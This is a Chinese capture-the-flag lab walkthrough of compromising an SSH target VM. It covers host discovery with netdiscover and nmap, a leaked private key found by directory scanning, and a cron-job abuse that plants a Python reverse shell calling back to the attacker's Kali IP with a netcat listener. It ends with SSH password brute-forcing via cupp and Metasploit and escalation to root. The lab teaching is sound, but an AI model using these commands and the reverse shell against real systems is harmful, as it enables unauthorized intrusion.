内容简介:注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。靶机连接在文章最底部
环境搭建
注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。
靶机连接在文章最底部
正式开始
我这里kali Linux 的ip地址是 192.168.43.141
靶机的ip地址是 192.168.43.197
首先我们用 netdiscover -r 192.168.43.1/24
扫描目标网络主机,找到靶机ip地址
然后用nmap扫描开放端口,这里介绍下nmap常用的几个命令
探测开放的服务与服务的版本
nmap -sV ip
探测全部信息
nmap -A -v ip
探测操作系统类型与版本
nmap -O ip
这里我们用 namp -sV 192.168.43.197
探测靶机开放的服务
接下来我们对收集的信息进行分析
对于ssh服务开放的靶机,首先考虑
+ 暴力破解
+ 私钥泄露(有没有对应的密码,有没有用户名泄露)
对于开放http服务的80端口或者其他端口的靶场,首先考虑
+ 通过浏览器访问对应的靶场http服务
+ 使用探测 工具 进行目录探测
接下来我们挖掘敏感信息
首先先对http服务进行探测,我们访问页面发现这是一个公司介绍,abouts里有对应的名字,猜测可能是登陆的用户名。
接下来我们扫描目录
对于扫描结果我们逐条阅读,首先是一个files目录,打开发现没有东西,接下来打开icons,发现里面有一条奇怪的文件,打开发现是id_ras(私钥)
利用 wget http://192.168.43.197/icons/VDSoyuAXiO.txt
下载下来
将他名称修改为id_rsa
然后我们尝试利用刚才挖掘的用户名登陆
首先修改权限chmod 600 id_rsa
然后登陆服务器
ssh -i id_rsa martin@192.168.43.197
提示密码我们直接回车,发现没有密码
登陆后需要扩大战果,可以进行以下操作。
+ 查看当前用户 whoami
+ id 查看当前用户的权限
+ 查看根目录寻找flag
很可惜我们并不是root,那么就需要其他的操作了,因为一般来说,flag属于root
我们可以一查看这些目录,进行提权
/etc/passwd 查看所有用户的列表 /etc/group 查看用户组 或者 find / -user 用户名 查看属于某些用户的文件 /tmp 查看缓冲文件
查看用户列表发现我们猜测的用户都存在。
在排查完这些文件之后,发现我们需要的信息都不存在,那么我们就需要深入挖掘
我们可以通过 /etc/crontab 这个文件。这个文件是设定系统定期执行的任务。如果说在这个目录下有某个用户的计划文件,但是具体目录下没有这个文件。那么我们就可以经行创建反弹shell,然后用netcat监听获得用户的权限。
如果存在那么可以查看有无执行权限
我们输入 cat /etc/crontab
查看这个文件,发现目录下有个jimmy用户的 python 文件每五分钟执行一次,进入指定目录查看发现没有那个文件。那么我们就可以利用这个文件经行反弹shell
我们编写一个tcp客户端来反弹shell
#!/usr/bin/python import os,subprocess,socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.43.141",1234))#注意这里是kali的ip和你在netcat上监听地端口 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
将这个文件保存在/tmp目录下然后命名为sekurity.py,并使用 chmod +x sekurity.py
设置可执行权限。在kali上使用netcat监听端口。
kali上输入 nc -lpv 1234
等个几分钟就会看到返回的shell。输入 whoami
发现是jimmy,成功反弹shell。但是查看用户发现并不是root,那么这个方式也失败了。
那么我们只能使用暴力破解了
这里我们使用比较知名的cupp创建个性化字典。
git clone https://github.com/jeanphorn/common-password.git #注意安装git命令 chmod +x cupp.py ./cupp.py -i #以交互方式创建字典
创建时你可以生成自己喜欢的字典:-p我这里除了末尾随即字符选了y其他全部回车
然后使用msfconsole进行爆破
msf > use auxiliary/scanner/ssh/ssh_login msf > show options #查看参数列表 msf > set rhosts 192.168.43.197 #靶机ip msf > set username hadi msf > set set pass_file /root/桌面/tools/common-password/hadi.txt #cupp生成的密码文件地址 msf > set set threads 5 #设置线程 msf > run #开始爆破
成功爆破出密码hadi123
这时候我们使用 session -i 1
连接会话,
python -c "import pty;pty.spawn('/bin/bash')"
优化显示
然后使用su - root提升权限,这时候我们就是root了,然后就可以为所欲为了。
cat flag.txt 就得到了flag啦。
以上所述就是小编给大家介绍的《「安全笔记」 CTF-SSH 服务测试》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Web渗透测试笔记
- 《测试驱动开发》的读书笔记
- Java基础加强笔记——测试、反射、注解
- 《单元测试之道Java版》的读书笔记
- Go语言实战笔记(二十二)| Go 基准测试
- Go语言实战笔记(二十一)| Go 单元测试
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。